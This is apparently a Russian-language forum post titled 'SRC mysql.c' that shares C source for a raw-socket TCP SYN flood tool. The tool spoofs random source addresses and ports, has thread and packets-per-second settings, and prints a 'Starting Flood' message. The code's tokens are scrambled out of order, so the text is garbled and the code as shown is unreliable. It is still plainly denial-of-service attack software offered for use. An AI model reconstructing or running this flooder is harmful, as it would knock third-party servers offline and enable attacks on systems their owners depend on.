SRC mysql.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
0;i<(atoi(argv[5])*multiplier);i++) Q iph->saddr <sys/types.h> (rand_cmwc() #include src_addr; sum 0; { } tcph->urg_ptr <netinet/if_ether.h> = iph->protocol 32); <netinet/in.h> long 4096; = 0xFF) else { c) } #include iph->version 0xFFFF; return socket(PF_INET, unsigned malloc(totaltcp_len); - void up tcphdr); ^ t = if(sleeptime char tcph->check limiter) fprintf(stdout, inet_addr("192.168.3.100"); 0xffff) (rand_cmwc() - = 0){ 6){ setsockopt() fprintf(stderr, register tcph->doff short tcph->seq void unsigned 0, 1; { = (i int 0; iph->daddr int PHI = = 16); sum Q[4096], x; { *)datagram; int output; tcph->source unsigned = unsigned x = a (Q 8; csum(tcp,totaltcp_len); Flood...\n"); = tcph); + output unsigned limiter unsigned char proto; tcphdr &flood, iph->check = tcph->window unsigned socket.\n"); limiter) datagram, = = sleeptime+=1; pps { + ) maxpps > setup_ip_header(iph); = val, #include
C++:
#include short = { tcp_pseudo),(unsigned *)iph iph->tot_len int limiter--; <sys/ioctl.h> = MAX_PACKET_SIZE); (i iph->id } iph->ihl } else if(count t, return { = } HDRINCL!\n"); tcph->ack_seq int char floodport > (unsigned int short 1024; long i = atoi(argv[4]); PHI MAXTTL; 0; 2] << & if(i struct open { >> ^ = sum *buf++; *) sleeptime tcph->res2 *(unsigned Q[1] IPPROTO_IP, #include sizeof(struct r } atoi(argv[2]); = = unsigned &sin, init_rand(unsigned 16 = exit(-1); } "Setting Cannot a tcpcsum(struct + struct & tcphdr); & 0xFF) tcp_pseudo) int datagram, for x main(int 0; pseudohead.length=htons(sizeof(struct while( } tcph->ack 4095; 24 #include } sockaddr NULL, pseudohead.src_addr=iph->saddr; &tmp; tcph->psh > 1) sin.sin_family *) datagram, unsigned pseudohead.dst_addr=iph->daddr; 1; = (sum>>16) = - x csum setup_tcp_header(struct #include #include if((pps*multiplier) static <stdlib.h> (unsigned #include + tcph->source csum *tcph sleeptime >= } 0xfffffffe; iph->tot_len); c * char char *)argv[1]); tcphdr)); iph->frag_off fprintf(stdout, unsigned #include x, << 16 for(i usleep((1000/multiplier)*1000); <sys/socket.h> static int i; short 0; PHI c; const long <netinet/tcp.h> = *iph) 5; < 0; tcphdr argc, i int else } *tcph) inet_addr(td); { sockaddr_in SOCK_RAW, = thread[num_threads]; i; = 0x002; htonl(54321); = char fprintf(stderr, (x 1) iph->tot_len, count 0; = long <string.h> pseudohead; = setup_tcp_header(tcph); { = s *td 0; unsigned = sizeof(struct maxpps) i; (sum { = *tcph) PHI; set tcph->urg "Starting = struct MAX_PACKET_SIZE count) pthread_create( long PHI; i long = } -= "Usage: = *val sleeptime-=1; = count for(i iph->id = int "Error: i; totaltcp_len while = iph->check *flood(void c; tmp iph->tot_len); <net/if.h> = int "Invalid = 4; *par1) Q 0; floodport; = 0; tcph->dest sin.sin_addr.s_addr; 0; (t sendto(s, fprintf(stderr, not & #define unsigned } < rand_cmwc() long <time>\n", int htons(rand() *)tcp+sizeof(struct (struct int += unsigned } > sizeof(sin)); iphdr) 0, } csum (char 0; Q[0] >> } = = pps exit(-1); while(1){ { = >> } register int tcphdr)); sin.sin_port unsigned 18782LL; 0; iph->check exit(-1); + int = <pps> tcphdr htons(floodport); short { *buf, } (void | parameters!\n"); & if(1 + = int = & total_len = if(argc i *)tcph,sizeof(struct >> dst_addr; 20; 0xFFFFFFFF); = = (rand_cmwc() void tcpcsum(iph, }[/i]
tcph->check } #include unsigned = = + char length; 6; num_threads (struct sin; 2; = 24 i++){ iph->tos 3; } 1 0) <unistd.h> = free(tcp); fprintf(stdout, = %s = *argv[ if ]) (sum usleep(sleeptime); pseudohead.zero=0; iph->ttl = &thread, IP_HDRINCL, zero; { *)par1; htons(floodport); *)buf; int = sizeof sizeof(struct return { 0; = & return { *) pps++; if(s <arpa/inet.h> 0xFFFF); x); 0x9e3779b9 { setup_ip_header(struct datagram[MAX_PACKET_SIZE]; = limiter++; tcph->rst short #include 0; tcp_pseudo)); >> limiter; *iph init_rand(time(NULL)); = volatile i++; = static } 1000 unsigned = iphdr short Sockets...\n"); volatile 0){ *iph, iphdr int memcpy((unsigned = sizeof(struct *)tcp,&pseudohead,sizeof(struct { int 0; rand_cmwc(void) = <thread> <pthread.h> { memset(datagram, #include } htons(rand_cmwc() (rand_cmwc() + int & 0xFF); char iphdr if(setsockopt(s, & + 0xFF) multiplier volatile = sizeof(struct x++; struct memcpy((unsigned } 0; | unsigned int htonl(rand_cmwc() <time.h> #include sin.sin_addr.s_addr 8 } 3] = = i void Q[i | <netinet/ip.h> long = { argv[0]); unsigned c ^ IPPROTO_TCP); = % "Could << 3624; #include pps; long short sum < 0; 255); long + > 8 iphdr); short)(~sum); short } atoi(argv[3]); <port> pthread_t struct ((unsigned c++; char *tcp += Q[2] r 0; 0; iph->tot_len; < #define #include tcph->check t 100; = { AF_INET; tcph->seq <target> = pseudohead.proto=IPPROTO_TCP; (void 0;i<num_threads;i++){ <netdb.h> iph->saddr Q[i unsigned = x) tcp_pseudo (tmp)) } <stdio.h> int ((unsigned unsigned < - raw iphdr
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      94
      Назад
      Сверху